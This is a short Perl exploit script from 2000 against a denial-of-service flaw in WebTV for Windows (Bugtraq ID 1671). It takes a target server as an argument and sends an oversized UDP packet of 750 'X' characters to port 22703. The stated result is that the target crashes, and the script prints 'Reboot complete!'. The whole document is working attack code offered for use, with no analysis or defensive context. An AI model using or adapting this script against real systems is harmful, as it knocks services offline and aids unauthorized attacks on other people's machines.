#!/usr/bin/perl
#Coded by:netsym and doom for rsh
#http://www.8op.com/rsh
#Denial of Service Vulnerability in WebTV for Windows discussed
#on Bugtraq ID 1671 published on 9/12/2000
#Thanks to Andrew Griffiths,EvilClone,Datagram,Matic,initd_,0x7f,anarcho and Dethy
use IO::Socket;
use Getopt::Std;
getopts('s:', \%args);
if(!defined($args{s})){&usage; }
$serv = $args{s};
$foo = "X"; $number = 750; 
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
		    Proto	=> "udp",
		    PeerAddr	=> $args{s},
		    PeerPort	=> "(22703)",
		) || die("Unable to connect to port 22703 on $args{s}\n");
$remote->autoflush(1);
print $remote "$data". $EOL;
while (<$remote>){ print }

print("\nReboot complete!\n");

sub usage {die("\n$0 -s <server>\n\n");}
